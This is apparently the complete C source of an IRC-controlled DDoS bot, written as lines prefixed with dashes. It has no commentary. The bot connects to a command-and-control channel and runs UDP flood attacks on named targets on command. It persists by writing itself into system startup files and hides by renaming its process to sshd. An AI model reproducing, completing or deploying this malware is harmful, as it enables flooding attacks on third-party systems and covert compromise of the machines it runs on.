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- #define STARTUP //set to define if rooted
- #undef IDENT
- #define FAKENAME "/usr/sbin/sshd"
- #define CHAN "#channel#"
- #define KEY "keyword"
- #define PORT 1935
- #define PASS "password"
- #define STD2_STRING "std"
- #define STD2_SIZE 50
- #define PREFIX "."
- int numservers=1;
- char *servers[] = {
- "fbi.gov",
- (void*)0
- };
- #include <stdarg.h>
- #include <errno.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <fcntl.h>
- #include <strings.h>
- #include <netinet/in.h>
- #include <unistd.h>
- #include <sys/time.h>
- #include <sys/socket.h>
- #include <signal.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <time.h>
- #include <sys/wait.h>
- #include <sys/ioctl.h>
- int sock,changeservers=0;
- char *server, *chan, *key, *nick, *ident, *prefix, *user, *pass, disabled=0, udpTry = 0, *adminuser1="Fine";
- unsigned int *pids;
- unsigned long spoofs=0, spoofsm=0, numpids=0;
- int strwildmatch(unsigned char* pattern, unsigned char* string) {
- switch((unsigned char)*pattern) {
- case '\0': return *string;
- case 'b': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
- case 'o': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
- case 't': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
- case 'B': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
- case 'O': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
- case 'T': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
- case '?': return !(*string && !strwildmatch(pattern+1, string+1));
- default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
- }
- }
- int Send(int sock, char *words, ...) {
- static char textBuffer[1024];
- va_list args;
- va_start(args, words);
- vsprintf(textBuffer, words, args);
- va_end(args);
- return write(sock,textBuffer,strlen(textBuffer));
- }
- unsigned int host2ip(char *sender,char *hostname) {
- static struct in_addr i;
- struct hostent *h;
- if((i.s_addr = inet_addr(hostname)) == -1) {
- if((h = gethostbyname(hostname)) == NULL) {
- Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
- exit(0);
- }
- bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
- }
- return i.s_addr;
- }
- int mfork(char *sender) {
- unsigned int parent, *newpids, i;
- if (disabled == 1) {
- Send(sock,"NOTICE %s :Unable to comply.\n",sender);
- return 1;
- }
- parent=fork();
- if (parent <= 0) return parent;
- numpids++;
- newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
- for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
- newpids[numpids-1]=parent;
- free(pids);
- pids=newpids;
- return parent;
- }
- void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
- char *makestring() {
- char *tmp;
- int len=(rand()%5)+4,i;
- FILE *file;
- tmp=(char*)malloc(len+1);
- memset(tmp,0,len+1);
- char *pre;
- if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
- else {
- int a=((rand()*rand())%45402)+1;
- char buf[1024];
- for (i=0;i<a;i++) fgets(buf,1024,file);
- memset(buf,0,1024);
- fgets(buf,1024,file);
- filter(buf);
- memcpy(tmp,buf,len);
- fclose(file);
- }
- return tmp;
- }
- void identd() {
- int sockname,sockfd,sin_size,tmpsock,i;
- struct sockaddr_in my_addr,their_addr;
- char szBuffer[1024];
- if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
- my_addr.sin_family = AF_INET;
- my_addr.sin_port = htons(113);
- my_addr.sin_addr.s_addr = INADDR_ANY;
- memset(&(my_addr.sin_zero), 0, 8);
- if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
- if (listen(sockfd, 1) == -1) return;
- if (fork() == 0) return;
- sin_size = sizeof(struct sockaddr_in);
- if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
- for(;;) {
- fd_set bla;
- struct timeval timee;
- FD_ZERO(&bla);
- FD_SET(tmpsock,&bla);
- timee.tv_sec=timee.tv_usec=60;
- if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
- if (FD_ISSET(tmpsock,&bla)) break;
- }
- i = recv(tmpsock,szBuffer,1024,0);
- if (i <= 0 || i >= 20) exit(0);
- szBuffer[i]=0;
- if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
- if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
- Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
- close(tmpsock);
- close(sockfd);
- exit(0);
- }
- //STD Attack
- void std(int sock, char *sender, int argc, char **argv) {
- if (argc < 3) {
- Send(sock,"PRIVMSG %s :>bot +std <target> <port> <secs>\n",chan);
- exit(1);
- }
- unsigned long secs;
- int iSTD_Sock;
- iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
- time_t start = time(NULL);
- secs = atol(argv[3]);
- if (mfork(sender) != 0) return;
- Send(sock,"PRIVMSG %s :[STD]Hitting %s!\n",chan,argv[1]);
- struct sockaddr_in sin;
- struct hostent *hp;
- hp = gethostbyname(argv[1]);
- bzero((char*) &sin,sizeof(sin));
- bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
- sin.sin_family = hp->h_addrtype;
- sin.sin_port = atol(argv[2]);
- unsigned int a = 0;
- while(1){
- if (a >= 50)
- {
- send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
- connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
- if (time(NULL) >= start + secs)
- {
- Send(sock, "PRIVMSG %s :[STD]Done hitting %s!\n", chan, argv[1]);
- close(iSTD_Sock);
- exit(0);
- }
- a = 0;
- }
- a++;
- }
- }
- void stop(int sock, char *sender, int argc, char **argv){
- unsigned long i;
- for (i=0;i<numpids;i++) {
- if (pids[i] != 0 && pids[i] != getpid()) {
- if (sender) Send(sock,"PRIVMSG %s :Killing pid %d.\n",chan,pids[i]);
- kill(pids[i],9);
- }
- }
- }
- void unknown(int sock, char *sender, int argc, char **argv) {
- int flag=1,fd,i;
- unsigned long secs;
- char *buf=(char*)malloc(9216);
- struct hostent *hp;
- struct sockaddr_in in;
- time_t start=time(NULL);
- if (mfork(sender) != 0) return;
- if (argc != 2) {
- Send(sock,"PRIVMSG %s :>bot +unknown <target> <secs>\n",chan);
- exit(1);
- }
- secs=atol(argv[2]);
- memset((void*)&in,0,sizeof(struct sockaddr_in));
- in.sin_addr.s_addr=host2ip(sender,argv[1]);
- in.sin_family = AF_INET;
- Send(sock,"PRIVMSG %s :[UNK]Hitting %s!\n",chan,argv[1]);
- while(1) {
- in.sin_port = rand();
- if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0){
- } else {
- flag=1;
- ioctl(fd,FIONBIO,&flag);
- sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
- close(fd);
- }
- if (i >= 50) {
- if (time(NULL) >= start+secs) break;
- i=0;
- }
- i++;
- }
- Send(sock,"PRIVMSG %s :[UNK]Done hitting %s!\n",chan,argv[1]);
- close(fd);
- exit(0);
- }
- //Kill the bot
- void killsec(int sock, char *sender, int argc, char **argv) {
- if(strcasecmp(adminuser1,sender) == 0){
- kill(0,9);
- } else {
- Send(sock,"PRIVMSG %s :Nice try...\n", chan);
- }
- }
- struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
- { "+std" , std },
- { "+stop" , stop },
- { "+unknown" , unknown },
- { "Kkt9x4JApM0RuSqCLA" , killsec },
- { (char *)0, (void (*)(int,char *,int,char **))0 } };
- void _PRIVMSG(int sock, char *sender, char *str) {
- int i;
- char *to, *message;
- for (i=0;i<strlen(str) && str[i] != ' ';i++);
- str[i]=0;
- to=str;
- message=str+i+2;
- for (i=0;i<strlen(sender) && sender[i] != '!';i++);
- sender[i]=0;
- if (*message == '>' && !strcasecmp(to,chan)) {
- char *params[12], name[1024]={0};
- int num_params=0, m;
- message++;
- for (i=0;i<strlen(message) && message[i] != ' ';i++);
- message[i]=0;
- if (strwildmatch(message,nick)) return;
- message+=i+1;
- m=strlen(message);
- for (i=0;i<m;i++) {
- if (*message == ' ' || *message == 0) break;
- name[i]=*message;
- message++;
- }
- for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
- num_params++;
- if (num_params > 10) num_params=10;
- params[0]=name;
- params[num_params+1]="\0";
- m=1;
- while (*message != 0) {
- message++;
- if (m >= num_params) break;
- for (i=0;i<strlen(message) && message[i] != ' ';i++);
- params[m]=(char*)malloc(i+1);
- strncpy(params[m],message,i);
- params[m][i]=0;
- m++;
- message+=i;
- }
- for (m=0; flooders[m].cmd != (char *)0; m++) {
- if (!strcasecmp(flooders[m].cmd,name)) {
- flooders[m].func(sock,sender,num_params-1,params);
- for (i=1;i<num_params;i++) free(params[i]);
- return;
- }
- }
- }
- }
- void _376(int sock, char *sender, char *str) {
- Send(sock,"MODE %s +pixB\n",nick);
- Send(sock,"JOIN %s :%s\n",chan,key);
- Send(sock,"WHO %s\n",nick);
- }
- void _PING(int sock, char *sender, char *str) {
- Send(sock,"PONG %s\n",str);
- }
- void _352(int sock, char *sender, char *str) {
- int i,d;
- char *msg=str;
- struct hostent *hostm;
- unsigned long m;
- for (i=0,d=0;d<5;d++) {
- for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
- if (i == strlen(str)) return;
- }
- for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
- msg[i]=0;
- if (!strcasecmp(msg,nick) && !spoofsm) {
- msg=str;
- for (i=0,d=0;d<3;d++) {
- for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
- if (i == strlen(str)) return;
- }
- for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
- msg[i]=0;
- if ((m = inet_addr(msg)) == -1) {
- if ((hostm=gethostbyname(msg)) == NULL) {
- Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
- return;
- }
- memcpy((char*)&m, hostm->h_addr, hostm->h_length);
- }
- ((char*)&spoofs)[3]=((char*)&m)[0];
- ((char*)&spoofs)[2]=((char*)&m)[1];
- ((char*)&spoofs)[1]=((char*)&m)[2];
- ((char*)&spoofs)[0]=0;
- spoofsm=256;
- }
- }
- void _433(int sock, char *sender, char *str) {
- free(nick);
- char tempnick[50];
- char *strpref = PREFIX;
- char *genname = makestring();
- strcpy(tempnick,strpref);
- strcat(tempnick,genname);
- nick=tempnick;
- }
- struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
- { "352", _352 },
- { "376", _376 },
- { "433", _433 },
- { "422", _376 },
- { "PRIVMSG", _PRIVMSG },
- { "PING", _PING },
- { (char *)0, (void (*)(int,char *,char *))0 } };
- void con() {
- struct sockaddr_in srv;
- unsigned long ipaddr,start;
- int flag;
- struct hostent *hp;
- start:
- sock=-1;
- flag=1;
- if (changeservers == 0) server=servers[rand()%numservers];
- changeservers=0;
- while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
- if (inet_addr(server) == 0 || inet_addr(server) == -1) {
- if ((hp = gethostbyname(server)) == NULL) {
- server=NULL;
- close(sock);
- goto start;
- }
- bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
- }
- else srv.sin_addr.s_addr=inet_addr(server);
- srv.sin_family = AF_INET;
- srv.sin_port = htons(PORT);
- ioctl(sock,FIONBIO,&flag);
- start=time(NULL);
- while(time(NULL)-start < 10) {
- errno=0;
- if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
- setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
- setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
- setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
- return;
- }
- if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
- sleep(1);
- }
- server=NULL;
- close(sock);
- goto start;
- }
- int main(int argc, char *argv[]) {
- int on,i;
- char cwd[256],*str;
- FILE *file;
- #ifdef STARTUP
- str="/etc/rc.d/rc.local";
- file=fopen(str,"r");
- if (file == NULL) {
- str="/etc/rc.conf";
- file=fopen(str,"r");
- }
- if (file != NULL) {
- char outfile[256], buf[1024];
- int i=strlen(argv[0]), d=0;
- getcwd(cwd,256);
- if (strcmp(cwd,"/")) {
- while(argv[0][i] != '/') i--;
- sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
- while(!feof(file)) {
- fgets(buf,1024,file);
- if (!strcasecmp(buf,outfile)) d++;
- }
- if (d == 0) {
- FILE *out;
- fclose(file);
- out=fopen(str,"a");
- if (out != NULL) {
- fputs(outfile,out);
- fclose(out);
- }
- }
- else fclose(file);
- }
- else fclose(file);
- }
- #endif
- if (fork()) exit(0);
- #ifdef FAKENAME
- strncpy(argv[0],FAKENAME,strlen(argv[0]));
- for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
- #endif
- srand((time(NULL) ^ getpid()) + getppid());
- char tempnick[50];
- char *strpref = PREFIX;
- char *genname = makestring();
- strcpy(tempnick,strpref);
- strcat(tempnick,genname);
- nick=tempnick;
- ident="Remote";
- user="Remote IRC Bot";
- chan=CHAN;
- key=KEY;
- pass=PASS;
- server=NULL;
- sa:
- #ifdef IDENT
- for (i=0;i<numpids;i++) {
- if (pids[i] != 0 && pids[i] != getpid()) {
- kill(pids[i],9);
- waitpid(pids[i],NULL,WNOHANG);
- }
- }
- pids=NULL;
- numpids=0;
- identd();
- #endif
- con();
- Send(sock,"PASS %s\n", pass);
- Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
- while(1) {
- unsigned long i;
- fd_set n;
- struct timeval tv;
- FD_ZERO(&n);
- FD_SET(sock,&n);
- tv.tv_sec=60*20;
- tv.tv_usec=0;
- if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
- for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
- unsigned int *newpids,on;
- for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
- pids[on-1]=0;
- numpids--;
- newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
- for (on=0;on<numpids;on++) newpids[on]=pids[on];
- free(pids);
- pids=newpids;
- }
- if (FD_ISSET(sock,&n)) {
- char buf[4096], *str;
- int i;
- if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
- buf[i]=0;
- str=strtok(buf,"\n");
- while(str && *str) {
- char name[1024], sender[1024];
- filter(str);
- if (*str == ':') {
- for (i=0;i<strlen(str) && str[i] != ' ';i++);
- str[i]=0;
- strcpy(sender,str+1);
- strcpy(str,str+i+1);
- }
- else strcpy(sender,"*");
- for (i=0;i<strlen(str) && str[i] != ' ';i++);
- str[i]=0;
- strcpy(name,str);
- strcpy(str,str+i+1);
- for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
- if (!strcasecmp(name,"ERROR")) goto sa;
- str=strtok((char*)NULL,"\n");
- }
- }
- }
- return 0;
- }
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